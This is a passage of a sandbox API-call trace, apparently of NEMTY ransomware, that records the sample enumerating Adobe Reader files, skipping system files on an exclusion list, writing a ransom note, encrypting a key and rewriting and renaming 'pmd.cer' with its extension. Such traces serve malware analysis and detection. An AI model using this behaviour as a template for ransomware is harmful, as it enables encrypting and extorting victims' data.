hHeap=0x4f90000) returned 1 [0193.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.209] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3830, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26af3830, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26af3830, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0193.210] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0193.210] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0193.210] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0193.210] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0193.210] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0193.210] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0193.210] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0193.210] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0193.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0193.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.210] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3830, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26af3830, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26af3830, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0193.211] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0193.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.211] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2=".") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="..") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="...") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="windows") returned -1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="$RECYCLE.BIN") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="rsa") returned -1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="NTDETECT.COM") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="ntldr") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="MSDOS.SYS") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="IO.SYS") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="boot.ini") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="boot.ini") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="AUTOEXEC.BAT") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="ntuser.dat") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="desktop.ini") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="CONFIG.SYS") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="RECYCLER") returned -1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="BOOTSECT.BAK") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="bootmgr") returned 1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="programdata") returned -1 [0193.211] lstrcmpiW (lpString1="pmd.cer", lpString2="appdata") returned 1 [0193.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pmd.cer", lpUsedDefaultChar=0x0) returned 7 [0193.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pmd.cer", lpUsedDefaultChar=0x0) returned 7 [0193.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x653ef60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pmd.cer", lpUsedDefaultChar=0x0) returned 7 [0193.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pmd.cer", cchWideChar=7, lpMultiByteStr=0x653ef98, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pmd.cer", lpUsedDefaultChar=0x0) returned 7 [0193.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0193.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0193.212] Sleep (dwMilliseconds=0x5) [0193.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x26d08b70, dwHighDateTime=0x1d561e8)) [0193.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x26d08b70, dwHighDateTime=0x1d561e8)) [0193.219] GetLastError () returned 0x12 [0193.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.219] GetLastError () returned 0x12 [0193.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.220] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0193.220] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0193.220] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0193.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.220] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653ec5c | out: pszString="lHGqjcm/nhqwhpDtaVrxUyNrTyPnWcpX5xMVPV3j3x0tuSAP0nmonzVczc2RhPs9\r\n1gsjUVWDOBrp0Xp1WUnOJy29RkM+qRbrYrOJJbzWvfU5WKWYH89BHxMsuS58352K\r\nRkGj1471PmA8moyUoVXkjywHFkN/YPBCXAC75kUFEdv7T+/RPWZhSIharxgNVvbz\r\nB46rXiAiRZcnCS+BrCL/icpoXB9L2fNuV5HTmQ+qBGDGpPPmVQlmysUy1mdribmq\r\n37DikdCOP81Q+klTNxuMqzTserz4twWTYk8S5Wa+EsC9oNNqOzAlSKb0j/+6jbkd\r\nSxMXAAGs8Wdzj9LLTWEtGg==\r\n", pcchString=0x653ec5c) returned 1 [0193.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.221] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=420) returned 1 [0193.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a0) returned 0x4f94178 [0193.221] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.221] ReadFile (in: hFile=0x1ec, lpBuffer=0x4f94178, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesRead=0x653eea4*=0x1a0, lpOverlapped=0x0) returned 1 [0193.222] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.222] WriteFile (in: hFile=0x1ec, lpBuffer=0x4f94178*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesWritten=0x653ee9c*=0x1a0, lpOverlapped=0x0) returned 1 [0193.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.222] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=420, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a4 [0193.222] WriteFile (in: hFile=0x1ec, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0193.222] CloseHandle (hObject=0x1ec) returned 1 [0193.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0193.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94200 [0193.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.222] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer._nemty_kgobjgd_")) returned 1 [0193.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0193.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0193.223] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b98, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0193.223] lstrcmpiW (lpString1="reader_sl.exe", lpString2=".") returned 1 [0193.223] lstrcmpiW (lpString1="reader_sl.exe", lpString2="..") returned 1 [0193.223] lstrcmpiW (lpString1="reader_sl.exe", lpString2="...") returned 1 [0193.223] lstrcmpiW (lpString1="reader_sl.exe", lpString2="windows") returned -1 [0193.223] lstrcmpiW (lpString1="reader_sl.exe", lpString2="$RECYCLE.BIN") returned 1 [0193.223] lstrcmpiW (lpString1="reader_sl.exe", lpString2="rsa") returned -1 [0193.223] lstrcmpiW (lpString1="reader_sl.exe", lpString2="NTDETECT.COM") returned 1 [0193.223] lstrcmpiW (lpString1="reader_sl.exe", lpString2="ntldr") returned 1 [0193.223] lstrcmpiW (lpString1="reader_sl.exe", lpString2="MSDOS.SYS") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="IO.SYS") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="boot.ini") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="boot.ini") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="AUTOEXEC.BAT") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="ntuser.dat") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="desktop.ini") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="CONFIG.SYS") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="RECYCLER") returned -1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="BOOTSECT.BAK") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="bootmgr") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="programdata") returned 1 [0193.224] lstrcmpiW (lpString1="reader_sl.exe", lpString2="appdata") returned 1 [0193.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reader_sl.exe", lpUsedDefaultChar=0x0) returned 13 [0193.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reader_sl.exe", lpUsedDefaultChar=0x0) returned 13 [0193.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x653ef60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reader_sl.exe", lpUsedDefaultChar=0x0) returned 13 [0193.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: 